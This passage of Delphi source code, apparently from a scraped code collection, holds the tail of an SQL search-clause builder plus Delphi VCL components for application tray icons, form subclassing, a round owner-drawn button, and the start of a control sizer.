          Param_Result.param_value[i+1]+ U + ' '+ A);i := i + 1
        end
        else
          writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i]
          +'='+U+Param_Result.param_name +U+A);
      end;
      if (i + 1 = Param_Result.Count) and (Param_Result.param_type[i+1] <> 'D') then
      begin
        if (Param_Result.param_type[i+1] = 'D')
        and (Param_Result.Reference[i] = Param_Result.Reference[i + 1]) then
        begin
          writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i]
          + BTW + U+Param_Result.param_name +U+ ' ' + A +U +
          Param_Result.param_value[i+1]+ U + ' '+ A);i := i + 1
        end
        else
          writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i]
          +'='+U+Param_Result.param_name +U+A);
      end;
      if (i + 1 = Param_Result.Count) and (Param_Result.param_type[i+1] = 'D') then
      begin
        if (Param_Result.param_type[i+1] = 'D') and
        (Param_Result.Reference[i] = Param_Result.Reference[i + 1]) then
        begin
          writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i]
          + BTW + U+Param_Result.param_name +U+ ' ' + A +U +
          Param_Result.param_value[i+1]+ U + ' ');i := i + 1
        end
        else
          writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i]
          +'='+U+Param_Result.param_name +U);
      end;
    end;
    // ТИП СЛОВАРЬ
    if (Param_Result.param_type[i] = 'C') then
      if i then
      begin
        if Param_Result.Equality[i] = false then
          writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i] +
          L + Param_Result.param_name + PR + A)
        else
        if Param_Result.Inverse[i] = false then
          writeln(Sql_file,table_str + C_ + Param_Result.Field_Name[i] +
          '='+ Param_Result.param_name+A)
        else
          writeln(Sql_file,table_str + C_ + Param_Result.Field_Name[i] +
          N+'='+ Param_Result.param_name+A);
      end
      else
      begin
        if Param_Result.Equality[i] = false then
          writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i] +
          L + Param_Result.param_name + PR )
        else
        if Param_Result.Inverse[i] = false then
          writeln(Sql_file,table_str + C_ + Param_Result.Field_Name[i] +
          '='+ Param_Result.param_name)
        else
          writeln(Sql_file,table_str + C_ + Param_Result.Field_Name[i] +
          N+'='+ Param_Result.param_name);
      end;
      // ТИП ЧИСЛОВОЕ ЗНАЧЕНИЕ
      if (Param_Result.param_type[i] = 'N') then
        if i then
        begin
          if Param_Result.NumEq[i] = eq then
            writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i] +
            eq + Param_Result.param_name + A);
          if Param_Result.NumEq[i] = min then
            writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i] +
            min + Param_Result.param_name + A);
          if Param_Result.NumEq[i] = max then
            writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i] +
            max + Param_Result.param_name + A);
          if Param_Result.NumEq[i] = eq_max then
            writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i] +
            eq_max + Param_Result.param_name + A);
          if Param_Result.NumEq[i] = eq_min then
            writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i] +
            eq_min + Param_Result.param_name + A);
          if Param_Result.NumEq[i] = min_max then
            writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i] +
            min_max + Param_Result.param_name + A);
        end
        else
        begin
          if Param_Result.NumEq[i] = eq then
            writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i] +
            eq + Param_Result.param_name);
          if Param_Result.NumEq[i] = min then
            writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i] +
            min + Param_Result.param_name);
          if Param_Result.NumEq[i] = max then
            writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i] +
            max + Param_Result.param_name);
          if Param_Result.NumEq[i] = eq_max then
            writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i] +
            eq_max + Param_Result.param_name);
          if Param_Result.NumEq[i] = eq_min then
            writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i] +
            eq_min + Param_Result.param_name);
          if Param_Result.NumEq[i] = min_max then
            writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i] +
            min_max + Param_Result.param_name);
        end;
  {!MAIN REPEAT!}
  until
    i = Param_Result.Count;
  CloseFile(Sql_File);
  Clear_Search;
end; // END FUNCTION
function Param_Set(NumParam: integer; FieldName: string; Ref: integer;
  Equal: boolean; P_Type: char; P_Value: variant): TControlSearch;
begin
  Param_.Field_Name[NumParam] := FieldName;
  Param_.Reference[NumParam] := Ref;
  Param_.Equality[NumParam] := Equal;
  Param_.param_type[NumParam] := P_Type;
  Param_.param_value[NumParam] := P_value;
end; //END FUNCTION
procedure SetOrder(o: integer; str: string);
var
  t_str: string;
begin
  AssignFile(Sql_File,path_);
  Append(Sql_File);
  if str = 'N' then
  begin
    t_str := tables[param_.Reference[o]];
    writeln(Sql_file,ORD_+t_str+'.'+Param_.Field_Name[o]);
    Close(Sql_File);
  end
  else
  begin
    writeln(Sql_file,ORD_+' '+str);
    Close(Sql_File);
  end;
end; // END PROCEDURE
end.

Круглая кнопка, кнопка с изменяющимися размерами.

DDHAPPX_PAS.HTM.

unit DdhAppX;
interface
uses
  SysUtils, WinTypes, WinProcs, Messages, Classes,
  Graphics, Controls, Forms, Dialogs, ShellApi, Menus;
type
  TDdhAppExt = class(TComponent)
  private
    // design time clone or runtime Application
    CurrApp: TApplication;
    // window procedures
    OldWndProc, NewWndProc: Pointer;
    // tray support
    fTrayIconActive: Boolean;
    fTrayIcon: TIcon;
    fTrayPopup: TPopupMenu;
    nid: TNotifyIconData;
    fOnTrayDefault: TNotifyEvent;
    procedure IconTrayWndProc (var Msg: TMessage);
  protected
    // property and event access methods
    function GetIcon: TIcon;
    procedure SetIcon (Value: TIcon);
    function GetTitle: string;
    procedure SetTitle(Value: string);
    function GetHelpFile: string;
    procedure SetHelpFile(Value: string);
    function GetHintColor: TColor;
    procedure SetHintColor(Value: TColor);
    function GetHintPause: Integer;
    procedure SetHintPause(Value: Integer);
    function GetHintShortPause: Integer;
    procedure SetHintShortPause(Value: Integer);
    function GetHintHidePause: Integer;
    procedure SetHintHidePause(Value: Integer);
    function GetShowHint: Boolean;
    procedure SetShowHint(Value: Boolean);
    function GetOnActivate: TNotifyEvent;
    procedure SetOnActivate(Value: TNotifyEvent);
    function GetOnDeactivate: TNotifyEvent;
    procedure SetOnDeactivate(Value: TNotifyEvent);
    function GetOnException: TExceptionEvent;
    procedure SetOnException(Value: TExceptionEvent);
    function GetOnIdle: TIdleEvent;
    procedure SetOnIdle(Value: TIdleEvent);
    function GetOnHelp: THelpEvent;
    procedure SetOnHelp(Value: THelpEvent);
    function GetOnHint: TNotifyEvent;
    procedure SetOnHint(Value: TNotifyEvent);
    function GetOnMessage: TMessageEvent;
    procedure SetOnMessage(Value: TMessageEvent);
    function GetOnMinimize: TNotifyEvent;
    procedure SetOnMinimize(Value: TNotifyEvent);
    function GetOnRestore: TNotifyEvent;
    procedure SetOnRestore(Value: TNotifyEvent);
    function GetOnShowHint: TShowHintEvent;
    procedure SetOnShowHint(Value: TShowHintEvent);
    procedure SetTrayIconActive (Value: Boolean);
    procedure SetTrayIcon (Value: TIcon);
    procedure IconChange (Sender: TObject);
    procedure SetTrayHint (Value: string);
    function GetTrayHint: string;
    procedure SetTrayPopup (Value: TPopupMenu);
    procedure Notification(AComponent: TComponent;
      Operation: TOperation); override;
  public
    constructor Create (AOwner: TComponent); override;
    destructor Destroy; override;
  published
    // TApplication properties
    property Icon: TIcon
      read GetIcon  write SetIcon ;
    property Title: string
      read GetTitle write SetTitle;
    property HelpFile: string
      read GetHelpFile write SetHelpFile;
    property HintColor: TColor
      read GetHintColor write SetHintColor default clInfoBk;
    property HintPause: Integer
      read GetHintPause write SetHintPause default 500;
    property HintShortPause: Integer
      read GetHintShortPause write SetHintShortPause default 50;
    property HintHidePause: Integer
      read GetHintHidePause write SetHintHidePause default 2500;
    property ShowHint: Boolean
      read GetShowHint write SetShowHint default False;
    // tray icon properties
    property TrayIconActive: Boolean
      read fTrayIconActive write SetTrayIconActive default False;
    property TrayIcon: TIcon
      read fTrayIcon write SetTrayIcon;
    property TrayHint: string
      read GetTrayHint write SetTrayHint;
    property TrayPopup: TPopupMenu
      read fTrayPopup write SetTrayPopup;
    property OnTrayDefault: TNotifyEvent
      read fOnTrayDefault write fOnTrayDefault;
    // TApplication events
    property OnActivate: TNotifyEvent
      read GetOnActivate write SetOnActivate;
    property OnDeactivate: TNotifyEvent
      read GetOnDeactivate write SetOnDeactivate;
    property OnException: TExceptionEvent
      read GetOnException write SetOnException;
    property OnIdle: TIdleEvent
      read GetOnIdle write SetOnIdle;
    property OnHelp: THelpEvent
      read GetOnHelp write SetOnHelp;
    property OnHint: TNotifyEvent
      read GetOnHint write SetOnHint;
    property OnMessage: TMessageEvent
      read GetOnMessage write SetOnMessage;
    property OnMinimize: TNotifyEvent
      read GetOnMinimize write SetOnMinimize;
    property OnRestore: TNotifyEvent
      read GetOnRestore write SetOnRestore;
    property OnShowHint: TShowHintEvent
      read GetOnShowHint write SetOnShowHint;
  end;
procedure Register;
implementation
const
  wm_IconMessage = wm_User;
var
  AppCompCounter: Integer;
constructor TDdhAppExt.Create(AOwner: TComponent);
begin
  // check if already created
  Inc (AppCompCounter);
  if AppCompCounter > 1 then
    raise Exception.Create (
      'Duplicated DdhAppExt component');
  inherited Create(AOwner);
  // application object initialization
  if csDesigning in ComponentState then
  begin
    CurrApp := TApplication.Create (nil);
    CurrApp.Icon := nil;
    CurrApp.Title := '';
    CurrApp.HelpFile := '';
  end
  else
    CurrApp := Application;
  // tray icon initialization
  fTrayIconActive := False;
  fTrayIcon := TIcon.Create;
  fTrayIcon.OnChange := IconChange;
  nid.cbSize := sizeof (nid);
  nid.wnd := CurrApp.Handle;
  nid.uID := 1; // icon ID
  nid.uCallBackMessage := wm_IconMessage;
  nid.hIcon := CurrApp.Icon.Handle;
  StrLCopy (nid.szTip, PChar('Tip'), 64);
  nid.uFlags := nif_Message or
    nif_Icon or nif_Tip;
  // subclass the application
  if not (csDesigning in ComponentState) then
  begin
    NewWndProc := MakeObjectInstance (IconTrayWndProc);
    OldWndProc := Pointer (SetWindowLong (
      CurrApp.Handle, gwl_WndProc, Longint (NewWndProc)));
  end
  else
  begin
    // default values
    NewWndProc := nil;
    OldWndPRoc := nil;
  end;
end;
destructor TDdhAppExt.Destroy;
begin
  // remove the application window procedure
  if csDesigning in ComponentState then
  begin
    // re-install the original window procedure
    SetWindowLong (CurrApp.Handle, gwl_WndProc,
      Longint (OldWndProc));
    // free the object instance
    if Assigned (NewWndProc) then
      FreeObjectInstance (NewWndProc);
  end;
  Dec (AppCompCounter);
  // remove the tray icon
  if fTrayIconActive then
    Shell_NotifyIcon (NIM_DELETE, @nid);
  fTrayIcon.Free;
  // default destructor
  inherited Destroy;
end;
procedure TDdhAppExt.Notification(AComponent: TComponent;
  Operation: TOperation);
begin
  inherited Notification (AComponent, Operation);
  if (Operation = opRemove) and (AComponent = fTrayPopup) then
    fTrayPopup := nil;
end;
// property access methods
function TDdhAppExt.GetIcon : TIcon;
begin
  Result := CurrApp.Icon ;
end;
procedure TDdhAppExt.SetIcon (Value: TIcon);
begin
  CurrApp.Icon := Value;
end;
function TDdhAppExt.GetTitle: string;
begin
  Result := CurrApp.Title;
end;
procedure TDdhAppExt.SetTitle(Value: string);
begin
  CurrApp.Title := Value;
end;
function TDdhAppExt.GetHelpFile: string;
begin
  Result := CurrApp.HelpFile;
end;
procedure TDdhAppExt.SetHelpFile(Value: string);
begin
  CurrApp.HelpFile := Value;
end;
function TDdhAppExt.GetHintColor: TColor;
begin
  Result := CurrApp.HintColor;
end;
procedure TDdhAppExt.SetHintColor(Value: TColor);
begin
  CurrApp.HintColor := Value;
end;
function TDdhAppExt.GetHintPause: Integer;
begin
  Result := CurrApp.HintPause;
end;
procedure TDdhAppExt.SetHintPause(Value: Integer);
begin
  CurrApp.HintPause := Value;
end;
function TDdhAppExt.GetHintShortPause: Integer;
begin
  Result := CurrApp.HintShortPause;
end;
procedure TDdhAppExt.SetHintShortPause(Value: Integer);
begin
  CurrApp.HintShortPause := Value;
end;
function TDdhAppExt.GetHintHidePause: Integer;
begin
  Result := CurrApp.HintHidePause;
end;
procedure TDdhAppExt.SetHintHidePause(Value: Integer);
begin
  CurrApp.HintHidePause := Value;
end;
function TDdhAppExt.GetShowHint: Boolean;
begin
  Result := CurrApp.ShowHint;
end;
procedure TDdhAppExt.SetShowHint(Value: Boolean);
begin
  CurrApp.ShowHint := Value;
end;
function TDdhAppExt.GetOnActivate: TNotifyEvent;
begin
  Result := CurrApp.OnActivate;
end;
procedure TDdhAppExt.SetOnActivate(Value: TNotifyEvent);
begin
  CurrApp.OnActivate := Value;
end;
function TDdhAppExt.GetOnDeactivate: TNotifyEvent;
begin
  Result := CurrApp.OnDeactivate;
end;
procedure TDdhAppExt.SetOnDeactivate(Value: TNotifyEvent);
begin
  CurrApp.OnDeactivate := Value;
end;
function TDdhAppExt.GetOnException: TExceptionEvent;
begin
  Result := CurrApp.OnException;
end;
procedure TDdhAppExt.SetOnException(Value: TExceptionEvent);
begin
  CurrApp.OnException := Value;
end;
function TDdhAppExt.GetOnIdle: TIdleEvent;
begin
  Result := CurrApp.OnIdle;
end;
procedure TDdhAppExt.SetOnIdle(Value: TIdleEvent);
begin
  CurrApp.OnIdle := Value;
end;
function TDdhAppExt.GetOnHelp: THelpEvent;
begin
  Result := CurrApp.OnHelp;
end;
procedure TDdhAppExt.SetOnHelp(Value: THelpEvent);
begin
  CurrApp.OnHelp := Value;
end;
function TDdhAppExt.GetOnHint: TNotifyEvent;
begin
  Result := CurrApp.OnHint;
end;
procedure TDdhAppExt.SetOnHint(Value: TNotifyEvent);
begin
  CurrApp.OnHint := Value;
end;
function TDdhAppExt.GetOnMessage: TMessageEvent;
begin
  Result := CurrApp.OnMessage;
end;
procedure TDdhAppExt.SetOnMessage(Value: TMessageEvent);
begin
  CurrApp.OnMessage := Value;
end;
function TDdhAppExt.GetOnMinimize: TNotifyEvent;
begin
  Result := CurrApp.OnMinimize;
end;
procedure TDdhAppExt.SetOnMinimize(Value: TNotifyEvent);
begin
  CurrApp.OnMinimize := Value;
end;
function TDdhAppExt.GetOnRestore: TNotifyEvent;
begin
  Result := CurrApp.OnRestore;
end;
procedure TDdhAppExt.SetOnRestore(Value: TNotifyEvent);
begin
  CurrApp.OnRestore := Value;
end;
function TDdhAppExt.GetOnShowHint: TShowHintEvent;
begin
  Result := CurrApp.OnShowHint;
end;
procedure TDdhAppExt.SetOnShowHint(Value: TShowHintEvent);
begin
  CurrApp.OnShowHint := Value;
end;
// tray icon support
procedure TDdhAppExt.SetTrayIconActive (Value: Boolean);
begin
  if Value <> fTrayIconActive then
  begin
    fTrayIconActive := Value;
    if not (csDesigning in ComponentState) then
    begin
      if fTrayIconActive then
        Shell_NotifyIcon (NIM_ADD, @nid)
      else
        Shell_NotifyIcon (NIM_DELETE, @nid);
    end;
  end;
end;
procedure TDdhAppExt.SetTrayIcon (Value: TIcon);
begin
  fTrayIcon.Assign (Value);
end;
procedure TDdhAppExt.IconChange (Sender: TObject);
begin
  if not (fTrayIcon.Empty) then
    nid.hIcon := fTrayIcon.Handle
  else
    nid.hIcon := CurrApp.MainForm.Icon.Handle;
  if fTrayIconActive and
      not (csDesigning in ComponentState) then
    Shell_NotifyIcon (NIM_MODIFY, @nid);
end;
function TDdhAppExt.GetTrayHint: string;
begin
  Result := string (nid.szTip);
end;
procedure TDdhAppExt.SetTrayHint (Value: string);
begin
  StrLCopy (nid.szTip, PChar(Value), 64);
  if fTrayIconActive and
      not (csDesigning in ComponentState) then
    Shell_NotifyIcon (NIM_MODIFY, @nid);
end;
procedure TDdhAppExt.SetTrayPopup (Value: TPopupMenu);
begin
  if Value <> fTrayPopup then
  begin
    fTrayPopup := Value;
    if Assigned (fTrayPopup) then
      fTrayPopup.FreeNotification (self);
  end;
end;
procedure TDdhAppExt.IconTrayWndProc (var Msg: TMessage);
var
  Pt: TPoint;
begin
  // show the popup menu
  if (Msg.Msg = wm_IconMessage) and
    (Msg.lParam = wm_rButtonDown) and
    Assigned (fTrayPopup) then
  begin
    SetForegroundWindow (CurrApp.MainForm.Handle);
    GetCursorPos (Pt);
    fTrayPopup.Popup (Pt.x, Pt.y);
  end
  // do the default action
  else if (Msg.Msg = wm_IconMessage) and
    (Msg.lParam = wm_lButtonDblClk) and
    Assigned (fOnTrayDefault) then
  begin
    SetForegroundWindow (CurrApp.MainForm.Handle);
    fOnTrayDefault (self);
  end
  else
    // original window procedure
    Msg.Result := CallWindowProc (OldWndProc,
      CurrApp.Handle, Msg.Msg, Msg.WParam, Msg.LParam);
end;
// component registration
procedure Register;
begin
  RegisterComponents('DDHB', [TDdhAppExt]);
end;
initialization
  AppCompCounter := 0;
end.

DDHFORMX_PAS.HTM.

unit DdhFormX;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics,
  Controls, Forms, Dialogs, ExtCtrls;
type
  TDdhFormExt = class(TComponent)
  private
    // window procedures
    OldWndProc, NewWndProc: Pointer;
    // MinMaxInfo data
    fMaximizedWidth: Integer;
    fMaximizedHeight: Integer;
    fMaximizedPosX: Integer;
    fMaximizedPosY: Integer;
    fMinimumTrackWidth: Integer;
    fMinimumTrackHeight: Integer;
    fMaximumTrackWidth: Integer;
    fMaximumTrackHeight: Integer;
    // background bitmap
    fBackBitmap: TBitmap;
    procedure SetBackBitmap (Value: TBitmap);
  protected
    function FormHandle: THandle;
    procedure NewWndMethod (var Msg: TMessage);
    procedure BackBitmapChanged (Sender: TObject);
  public
    constructor Create (AOwner: TComponent); override;
    destructor Destroy; override;
  published
    property BackBitmap: TBitmap
      read fBackBitmap write SetBackBitmap;
    property MaximizedWidth: Integer
      read fMaximizedWidth write fMaximizedWidth
      default 0;
    property MaximizedHeight: Integer
      read fMaximizedHeight write fMaximizedHeight
      default 0;
    property MaximizedPosX: Integer
      read fMaximizedPosX write fMaximizedPosX
      default 0;
    property MaximizedPosY: Integer
      read fMaximizedPosY write fMaximizedPosY
      default 0;
    property MinimumTrackWidth: Integer
      read fMinimumTrackWidth write fMinimumTrackWidth
      default 0;
    property MinimumTrackHeight: Integer
      read fMinimumTrackHeight write fMinimumTrackHeight
      default 0;
    property MaximumTrackWidth: Integer
      read fMaximumTrackWidth write fMaximumTrackWidth
      default 0;
    property MaximumTrackHeight: Integer
      read fMaximumTrackHeight write fMaximumTrackHeight
      default 0;
  end;
procedure Register;
implementation
constructor TDdhFormExt.Create (AOwner: TComponent);
var
  I: Integer;
begin
  // check if the owner is a form
  if (Owner = nil) or not (AOwner is TForm) then
    raise Exception.Create (
      'Owner of DdhFormExt component must be a form');
  // create a single instance only
  for I := 0 to AOwner.ComponentCount - 1 do
    if AOwner.Components[I] is TDdhFormExt then
      raise Exception.Create (
        'DdhFormExt component duplicated in ' +
        AOwner.Name);
  // default creation
  inherited Create (AOwner);
  // form subclassing (runtime only)
  if not (csDesigning in ComponentState) then
  begin
    NewWndProc := MakeObjectInstance (NewWndMethod);
    OldWndProc := Pointer (SetWindowLong (
      FormHandle, gwl_WndProc, Longint (NewWndProc)));
  end
  else
  begin
    // default values
    NewWndProc := nil;
    OldWndPRoc := nil;
  end;
  fBackBitmap := TBitmap.Create;
  fBackBitmap.OnChange := BackBitmapChanged;
end;
destructor TDdhFormExt.Destroy;
begin
  if Assigned (NewWndProc) then
  begin
    FreeObjectInstance (NewWndProc);
    SetWindowLong (FormHandle, gwl_WndProc,
      Longint (OldWndProc));
  end;
  fBackBitmap.Free;
  inherited Destroy;
end;
function TDdhFormExt.FormHandle: THandle;
begin
  Result := (Owner as TForm).Handle;
end;
// custom window procedure
procedure TDdhFormExt.NewWndMethod (var Msg: TMessage);
var
  ix, iy: Integer;
  ClientWidth, ClientHeight: Integer;
  BmpWidth, BmpHeight: Integer;
  hCanvas, BmpCanvas: THandle;
  pMinMax: PMinMaxInfo;
begin
  case Msg.Msg of
    wm_EraseBkgnd:
      if (fBackBitmap.Height <> 0) or
        (fBackBitmap.Width <> 0) then
      begin
        ClientWidth := (Owner as TForm).ClientWidth;
        ClientHeight := (Owner as TForm).ClientHeight;
        BmpWidth := fBackBitmap.Width;
        BmpHeight := fBackBitmap.Height;
        BmpCanvas := fBackBitmap.Canvas.Handle;
        hCanvas := THandle (Msg.wParam);
        for iy := 0 to ClientHeight div BmpHeight do
          for ix := 0 to ClientWidth div BmpWidth do
            BitBlt (hCanvas, ix * BmpWidth, iy * BmpHeight,
              BmpWidth, BmpHeight, BmpCanvas,
              0, 0, SRCCOPY);
        Msg.Result := 1; // message handled
        Exit; // skip default processing
      end;
    wm_GetMinMaxInfo:
      if fMaximizedWidth + fMaximizedHeight + fMaximizedPosX +
        fMaximizedPosY + fMinimumTrackWidth + fMinimumTrackHeight +
        fMaximumTrackWidth + fMaximumTrackHeight <> 0 then
      begin
        pMinMax := PMinMaxInfo (Msg.lParam);
        if fMaximizedWidth <> 0 then
          pMinMax.ptMaxSize.X := fMaximizedWidth;
        if fMaximizedHeight <> 0 then
          pMinMax.ptMaxSize.Y := fMaximizedHeight;
        if fMaximizedPosX <> 0 then
          pMinMax.ptMaxPosition.X := fMaximizedPosX;
        if fMaximizedPosY <> 0 then
          pMinMax.ptMaxPosition.Y := fMaximizedPosY;
        if fMinimumTrackWidth <> 0 then
          pMinMax.ptMinTrackSize.X := fMinimumTrackWidth;
        if fMinimumTrackHeight <> 0 then
          pMinMax.ptMinTrackSize.Y := fMinimumTrackHeight;
        if fMaximumTrackWidth <> 0 then
          pMinMax.ptMaxTrackSize.X := fMaximumTrackWidth;
        if fMaximumTrackHeight <> 0 then
          pMinMax.ptMaxTrackSize.Y := fMaximumTrackHeight;
        Msg.Result := 0; // message handled
        Exit; // skip default processing
      end;
  end;
  // call the default window procedure for every message
  Msg.Result := CallWindowProc (OldWndProc,
    FormHandle, Msg.Msg, Msg.WParam, Msg.LParam);
end;
// property related methods
procedure TDdhFormExt.SetBackBitmap(Value: TBitmap);
begin
  fBackBitmap.Assign (Value);
end;
procedure TDdhFormExt.BackBitmapChanged (Sender: TObject);
begin
  (Owner as TForm).Invalidate;
end;
procedure Register;
begin
  RegisterComponents('DDHB', [TDdhFormExt]);
end;
end.

DDHROUND_PAS.HTM.

unit DdhRound;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls;
type
  TDdhRoundBtn = class(TButton)
  private
    IsFocused: Boolean;
    FCanvas: TCanvas;
    procedure CNDrawItem(var Msg: TWMDrawItem); message CN_DRAWITEM;
    procedure CMFontChanged(var Msg: TMessage); message CM_FONTCHANGED;
    procedure CMEnabledChanged(var Msg: TMessage); message CM_ENABLEDCHANGED;
    procedure WMLButtonDblClk(var Message: TWMLButtonDblClk);
      message WM_LBUTTONDBLCLK;
  protected
    procedure SetBounds (ALeft, ATop, AWidth, AHeight: Integer); override;
    procedure CreateParams(var Params: TCreateParams); override;
    procedure CreateWnd; override;
    procedure SetButtonStyle(ADefault: Boolean); override;
  public
    constructor Create (AOwner: TComponent); override;
    destructor Destroy; override;
  published
    property Color;
    property Width default 100;
    property Height default 50;
    property ParentShowHint;
    property ShowHint;
    property TabOrder;
    property TabStop;
    property Visible;
    property OnEnter;
    property OnExit;
  end;
procedure Register;
implementation
constructor TDdhRoundBtn.Create (AOwner: TComponent);
begin
  inherited Create (AOwner);
  SetBounds (Left, Top, 100, 50);
  FCanvas := TCanvas.Create;
end;
destructor TDdhRoundBtn.Destroy;
begin
  inherited Destroy;
  FCanvas.Free;
end;
procedure TDdhRoundBtn.CreateParams(var Params: TCreateParams);
begin
  inherited CreateParams(Params);
  with Params
    do Style := Style or bs_OwnerDraw;
end;
procedure TDdhRoundBtn.CreateWnd;
var
  hRegion: THandle;
begin
  inherited CreateWnd;
  hRegion := CreateEllipticRgn (0, 0, Width, Height);
  SetWindowRgn (Handle, hRegion, True);
end;
procedure TDdhRoundBtn.SetBounds (ALeft, ATop,
  AWidth, AHeight: Integer);
var
  hRegion: THandle;
begin
  inherited SetBounds (ALeft, ATop, AWidth, AHeight);
  if HandleAllocated then
  begin
    hRegion := CreateEllipticRgn (0, 0, AWidth, AHeight);
    SetWindowRgn (Handle, hRegion, True);
  end;
end;
procedure TDdhRoundBtn.CNDrawItem(var Msg: TWMDrawItem);
var
  OdsDown, OdsFocus, ActionFocus: Boolean;
  Rect: TRect;
begin
  // initialize
  FCanvas.Handle := Msg.DrawItemStruct^.hDC;
  Rect := ClientRect;
  Dec (Rect.Right);
  Dec (Rect.Bottom);
  with Msg.DrawItemStruct^ do
  begin
    OdsDown := itemState and ODS_SELECTED <> 0;
    OdsFocus := itemState and ODS_FOCUS <> 0;
    ActionFocus := ItemAction = oda_Focus
  end;
  with FCanvas do
  begin
    Brush.Color := Color;
    if not ActionFocus then
    begin
      // fill with current color
      Brush.Style := bsSolid;
      FillRect (Rect);
    end;
    // do not fill any more
    Brush.Style := bsClear;
    // draw border if default
    if Default or OdsFocus then
    begin
      Pen.Color := clWindowFrame;
      if not ActionFocus then
        Ellipse (Rect.Left, Rect.Top,
          Rect.Right, Rect.Bottom);
      // reduce the area for further operations
      InflateRect (Rect, -1, -1);
    end;
    if OdsDown then
    begin
      // draw gray border all around
      Pen.Color := clBtnShadow;
      if not ActionFocus then
        Ellipse (Rect.Left, Rect.Top,
          Rect.Right, Rect.Bottom);
    end
    else if not ActionFocus then
    begin
      // gray border (bottom-right)
      Pen.Color :=  clWindowFrame;
      Arc (Rect.Left, Rect.Top, Rect.Right, Rect.Bottom, // ellipse
        Rect.Left, Rect.Bottom, // start
        Rect.Right, Rect.Top); // end
      // white border (top-left)
      Pen.Color :=  clWhite;
      Arc (Rect.Left, Rect.Top, Rect.Right, Rect.Bottom, // ellipse
        Rect.Right, Rect.Top, // start
        Rect.Left, Rect.Bottom); // end
      // gray border (bottom-right, internal)
      Pen.Color := clBtnShadow;
      InflateRect (Rect, -1, -1);
      Arc (Rect.Left, Rect.Top, Rect.Right, Rect.Bottom, // ellipse
        Rect.Left, Rect.Bottom, // start
        Rect.Right, Rect.Top); // end
    end;
    // draw the caption
    InflateRect (Rect, - Width div 5, - Height div 5);
    if OdsDown then
    begin
      Inc (Rect.Left, 2);
      Inc (Rect.Top, 2);
    end;
    Font := Self.Font;
    if not ActionFocus then
      DrawText (FCanvas.Handle, PChar (Caption), -1,
        Rect, dt_SingleLine or dt_Center or dt_VCenter);
    // draw the focus rect around the text
    Brush.Style := bsSolid;
    Pen.Color:= clBlack;
    Brush.Color := clWhite;
    if IsFocused or OdsFocus or ActionFocus then
      DrawFocusRect (Rect);
  end; // with FCanvas and if DrawEntire
  FCanvas.Handle := 0;
  Msg.Result := 1; // message handled
end;
procedure TDdhRoundBtn.CMFontChanged(var Msg: TMessage);
begin
  inherited;
  Invalidate;
end;
procedure TDdhRoundBtn.CMEnabledChanged(var Msg: TMessage);
begin
  inherited;
  Invalidate;
end;
procedure TDdhRoundBtn.WMLButtonDblClk(var Message: TWMLButtonDblClk);
begin
  Perform(WM_LBUTTONDOWN, Message.Keys, Longint(Message.Pos));
end;
procedure TDdhRoundBtn.SetButtonStyle (ADefault: Boolean);
begin
  if ADefault <> IsFocused then
  begin
    IsFocused := ADefault;
    Invalidate;
  end;
end;
procedure Register;
begin
  RegisterComponents('DDHB', [TDdhRoundBtn]);
end;
end.

DDHSIZER_PAS.HTM.

unit DdhSizer;
interface
uses
   Classes, Windows, Messages, Controls, StdCtrls;
const
  sc_DragMove: Longint = $F012;
type
  TDdhSizeButton = class (TButton)
  public
    procedure WmNcHitTest (var Msg: TWmNcHitTest);
      message wm_NcHitTest;
  end;
  TDdhSizerControl = class (TCustomControl)
  private
    FControl: TControl;
    FRectList: array [1..8] of TRect;
    FPosList: array [1..8] of Integer;
  public
    constructor Create (AOwner: TComponent;
      AControl: TControl);
    procedure CreateParams (var Params: TCreateParams);
      override;
    procedure CreateHandle; override;
    procedure WmNcHitTest (var Msg: TWmNcHitTest);
      message wm_NcHitTest;
    procedure WmSize (var Msg: TWmSize);
      message wm_Size;
    procedure WmLButtonDown (var Msg: TWmLButtonDown);
      message wm_LButtonDown;
    procedure WmMove (var Msg: TWmMove);
      message wm_Move;
    procedure Paint; override;
    procedure SizerControlExit (Sender: TObject);
  end;
procedure Register;
implementation
uses
  Graphics;
// TDdhSizeButton methods
procedure TDdhSizeButton.WmNcHitTest(var Msg: TWmNcHitTest);
var
  Pt: TPoint;
begin
  Pt := Point (Msg.XPos, Msg.YPos);
  Pt := ScreenToClient (Pt);
  if (Pt.x < 5) and (pt.y < 5) then
    Msg.Result := htTopLeft
  else if (Pt.x > Width - 5) and (pt.y < 5) then
    Msg.Result := htTopRight
  else if (Pt.x > Width - 5) and (pt.y > Height - 5) then
    Msg.Result := htBottomRight
  else if (Pt.x < 5) and (pt.y > Height - 5) then
    Msg.Result := htBottomLeft
  else if (Pt.x < 5) then
    Msg.Result := htLeft
  else if (pt.y < 5) then
    Msg.Result := htTop
  else if (Pt.x > Width - 5) then
    Msg.Result := htRight
  else if (pt.y > Height - 5) then
    Msg.Result := htBottom
  else
    inherited;
end;
// TDdhSizerControl methods
constructor TDdhSizerControl.Create (
  AOwner: TComponent; AControl: TControl);
var
  R: TRect;
begin
  inherited Create (AOwner);
  FControl := AControl;
  // install the new handler
  OnExit := SizerControlExit;
  // set the size and position
  R := FControl.BoundsRect;
  InflateRect (R, 2, 2);
  BoundsRect := R;
  // set the parent
  Parent := FControl.Parent;
  // create the list of positions
  FPosList [1] := htTopLeft;
  FPosList [2] := htTop;
  FPosList [3] := htTopRight;
  FPosList [4] := htRight;
  FPosList [5] := htBottomRight;
  FPosList [6] := htBottom;
